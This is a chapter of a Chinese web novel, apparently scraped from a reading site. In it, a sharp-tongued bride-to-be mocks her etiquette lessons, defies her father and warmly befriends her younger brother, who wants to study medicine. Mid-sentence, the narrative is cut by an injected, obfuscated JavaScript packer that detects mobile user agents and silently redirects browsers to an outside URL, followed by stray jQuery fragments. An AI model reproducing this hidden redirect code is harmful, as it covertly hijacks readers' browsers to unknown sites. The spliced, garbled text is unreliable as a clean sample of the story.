婚期将至,元府上下一片忙碌。
所有下人几乎都早已被崔姑姑敲打了个遍,愣是将有关元蓁蓁的事情都烂在了肚子里,绝对不多说一个字。
能看得见的地方都被挂上了红灯笼,大红绸布挂满了长廊的每一个角落,可府里的主子却没几个真正满意的。
包括才“安分”学了没几天教养课,最后居然将宫正给气走了的新娘子。
“你说过分不过分,明明我都有好好上课,可那宫正自己走了,还能怪在我身上不成?”
元蓁蓁与四喜闲来无事,冯氏也没拘着听雨轩的人不得出入,就趁着日头尚好的时候,在府里闲逛。
听着自家小姐的控诉,即便是向来极度偏向元蓁蓁的四喜,也没能昧着良心接话。
“小姐…这就是你的不对了,你也不想想前几日,在教养课上,你都是怎么回宫正话的。”
“怎么了,我说的有什么不对吗?”元蓁蓁停下脚,掰着手指头细细数着:“她拢共就教了我三件事,走路,喝水,抢男人。”
“我还没嫌弃她徒有其表呢,反倒是自己撂下摊子先跑了。”
四喜的表情逐渐转变为无奈,她抓起元蓁蓁掰下的三个指头,从左往右点着问:“小姐,难不成你都忘了吗?林宫正说你走路姿势太狂放,一点也不像名门闺秀时,你是怎么回的?”
元蓁蓁瞪大眼睛:“山间野林狍子众多,不跑快点连毛都摸不上呢。”
“…那林宫正教授习茶礼的时候,说你手形如鸡爪,饮水如牛时,你又是怎么说的?”
“山泉水甜,过了这村就没这店了,省着喝有什么意思。”
四喜扶额叹息,试图再“拯救”一下:“还有,林宫正教的那些…什么抢不抢之类的,明明是正常的内务打理,怎么到小姐你嘴里就成了那档子事。”
“才不是!”元蓁蓁正色道:“你年纪还小,容易被别人诓骗过去。那分明就不是什么管家之术,而是驭夫之计!什么做妻子的要体恤丈夫,心胸宽广,不得恃宠生娇,可冯氏她自己都不是这么做的,凭什么我还要顶着假惺惺的皮囊。”
她早就已经想好了,无论那楚家究竟是何等虎狼之地,楚聿又是怎样的人,她都不可能牺牲自己,活成别人想象中的样子!
驭夫?可一边去吧!
她只会扫清面前一切阻碍,努力活下去才是她的人生目标!
至于楚聿,以后若是能相安无事的安处于同一屋檐下,相敬如宾自是最好。若是不然,等她以后能自己维持生计了,什么夫君郎君的,直接一脚踹走!
谈话间,正巧碰上府里负责织室的丫鬟说,宫里头派人送来的喜服已经到了,让听雨轩的人回头去取,元蓁蓁直接让四喜现在就跟她走一趟,“你先去吧,过不多会儿我走累了,自然会回去的。”
四喜点点头,便随织室丫鬟一同离开。
院子里静谧无声,只是偶尔传来几声鸟鸣,元蓁蓁不知不觉间过了内仪门,大红装饰逐渐少了很多,附近的花林也略显单薄。
她随意看了几眼,觉得没趣,转身正准备走时,身后的逸云斋突然爆发出一声呵斥:“你别跟我说这么多!这些年为父放任你多时,如今也该是到了要收心的时候!”
是元明涯的声音?
他在说谁?
逸云斋是元明涯的书房,平日里除了冯氏,严禁下人随意靠近,大抵是今天小厮们都去忙活布置红绸了,四周都没有人。
出于好奇,元蓁蓁顿时踮起脚尖,捻起裙摆,悄声靠近。
她偷偷猫着身子,躲在半合的窗檐下,探了探头。
元明涯眉头紧锁,坐在书桌前狠狠地瞪着眼前的人,桌面上一片凌乱,像是被狂风席卷一般。
就在他面前,站着一位气质文雅的青葱少年,元蓁蓁在看到他的第一眼就立刻意识到,这就是元少琛,她从未见过面的弟弟。
不同于元明涯多年游走于官场的中年稳气,元少琛长得极为白净,面容清秀,虽身量上来看稍微矮了点,但瘦削的骨架子以后估计还能抽条。
作为实实在在的颜控本人,元蓁蓁一下子就对这个弟弟产生了好感。
屋内两人全然不知有人窥探,元少琛咬紧下唇,双手握拳,这已经不是他第一次与父亲争执了。
“爹,我志在学医,对官场之事以前没有兴趣,现在没有兴趣,以后也一样不会有兴趣!您就别再逼我了!”
“你胡闹!”元明涯气得脸色涨红,他就是不懂了,为何摆着费尽心思铺好的康庄大道,非要去学什么低贱的江湖郎中。
“你做郎中,那元家的荣誉,仕途,家族地位又由谁来继承?你是我元明涯唯一的嫡子,除了你我不可能给别人!”
“弟弟若是不要,我委屈点自己,勉为其难也能接手的。”
一道声音突然从窗外响起,元明涯和元少琛惊讶望去,“是谁!”
“爹爹怎么连我的声音都听不出了。”元蓁蓁突然将窗户一抬,直起身开心打招呼:“嗨,我那从未见过面的弟弟。”
“你…”元少琛被她别出心裁的出场方式吓了一跳,一时无言。
元明涯则是反应过来,直接不耐烦地开口:“你怎么会在这里?外头的人呢,都死哪里去了!”
元蓁蓁耸耸肩,轻声安抚道:“哪还有什么人啊,所有人都忙着给每一根树枝挂红灯笼,贴喜字呢。难不成爹爹连皇家的面子都不给,想着用几根红绸就敷衍了事不成?”
元蓁蓁嘴皮子厉害得很,也不知道究竟是学了谁的,才短短几日就已经在她手下吃了好几次亏的元明涯顿时蔫了气。
趁着空档,元蓁蓁腿脚麻利地走进去,见错不开了,元少琛这才有些尴尬地朝她行礼:“二姐姐。”
身为家中唯一的男子,又有冯氏在他前头挡着,元少琛虽甚少参与府内事,可事关胞姐的婚姻大事,他多少还是从冯氏口中提前知晓一二的。
“诶!”元蓁蓁高兴地应下,也不管元少琛此时清秀的脸有多通红,愣是一个劲地在旁边打量起来。
元明涯显然是忍耐到了极限,他直接对着元蓁蓁斥道:“我还没找你麻烦,你倒是先滚到我跟前了。说说,你究竟干了什么,连林宫正都被你气走了!”
元蓁蓁一脸无奈:“我没干什么啊,只是林宫正教的内务事实在没什么意思,对我也没多大作用,我想学习经商,不然夫人给的嫁妆单上的铺子,我连账本都看不懂。”
元明涯听后,脸色愈发阴沉:“你既要嫁去将军府,这些规矩就必须学。女子动什么学商的心,那些东西以后自有下人管,轮不到你操心。”
说罢,他一甩衣袖,又瞪了一眼一旁倔强的元少琛,大步离开了房间。
“我说吧,他的眼神是不是很讨厌,让人恨不得打他一拳。”
元蓁蓁说完也不忍着,朝着门口的方向对着空气“呼呼”就是几拳,一边打还一边留意元少琛的表情。
“二姐姐说笑了,爹也只是操心我们罢了。”
元少琛淡淡回了一句,倒也没有对她的逾越举动过分苛责。
他转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293176|166222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身走到书架前,随后挑了一本书便坐下看了起来。元蓁蓁见状也没走,看都没看也在书架上顺了一本书,然后坐到窗边的茶台上。
一时间,逸云斋内寂静无声,只偶尔间断断续续传来几声翻页。
不知过了多久,一盏茶?两盏茶?
终于,元少琛耐不住了,猛地抬起头,面色略带窘迫地道:“你、你究竟要一直盯着我到何时?”
嗯?见他被自己逗得连称呼都顾不上了,元蓁蓁有种说不出来的乐趣,“长得好看,为何看不得?”
话音刚落,元少琛的脸更红了,他哪里经历过这种事。
他难为情地撇过头,过了会儿又不自觉地转过来,看了眼半窝在茶台上的明媚美人。元蓁蓁一头利落的长发随意在耳后挽成一个侧髻,几缕发丝垂落在翠绿色的耳坠子旁,眼眸如星月,唇不点而朱,明明穿的素净,却多了几分独有风情。
明明她才是府里最好看的人。
见元少琛又不说话了,元蓁蓁合上书,反正她也看不懂几个字,还不如聊聊天来的放松,她主动搭话:“我方才听,你想学医?”
元少琛怔住了。从小到大,爹与娘亲只会关注他的学业、他的仕途,从来没有人会主动在他面前提有关学医的事。
他摸不清元蓁蓁的意图,下意识以为她同别人一样,是来劝自己放弃的。
“不要紧张,我觉得学医很好啊。”元蓁蓁突然笑了笑,挺起身子朝他的方向探过去,“人就活几十年,当然是做让自己开心的事最重要。要我说啊,爹和夫人也就是暂时没能想明白罢了,你也不用一直放在心上。”
“等你真的做出成绩,自然一切都会改变。”
元少琛呆呆地看着她,一时间语无伦次:“你、二姐姐,你说的都是真的吗?”
元蓁蓁认真点头:“虽然我也不是什么老好人,可我不骗小孩子的。”
也许是真的等了太久,又或许是平日里无人能放下架子跟自己闲聊说话,元少琛不知不觉地放下一开始的警惕与老成,他微微露出笑容,方才有了一丝孩子模样,“那二姐姐又喜欢什么?真的是行商吗?”
“我吗?”元蓁蓁被问的突然,脸上难得出现愣怔,过了会儿才歪头道:“唔…也不一定,我啊,只想好好活下去,无论是在元府,还是将军府。”
“吃好喝好,才是最重要的。当然,能更有钱,也很重要!”
元蓁蓁笑着说着,一放松下来就容易调侃:“要我说,你这几天可得抓紧吃多一些,这府里上下就只有你一个男丁,别过几日背我出门的时候,半路还摔个屁股蹲,多难看啊。”
元少琛一时不察,又羞又恼:“哪有像你这样的勋贵女子,成天将…粗言挂在嘴边,让人听了笑话!”
“是是是,我自小在外面长大,弟弟你就多担待担待吧,我一定会努力在将军府好好演的,定不让人看笑话。”
元蓁蓁满不在乎,可落在元少琛的耳朵里却不是那么回事。
言语的力量太过苍白,他张张嘴,却没能吐出半个字。元少琛嘟囔几句,声音太小,元蓁蓁离得远,什么也没听见,“你说什么呢?大声点。”
日光下,少年鼓起劲儿抬头,柔和的阳光透过明净的窗户淡淡洒在他稚嫩的脸上,好似一圈金光。
元少琛红着脸,用尽他平生最大的勇气,说出了那个本来永远也不会说的词。
“二姐姐但放宽心,待成婚之时,凤冠霞帔加身,鼓乐齐鸣之际,我定会以周全之态,保一路顺遂,绝对不会让你摔屁股蹲的!”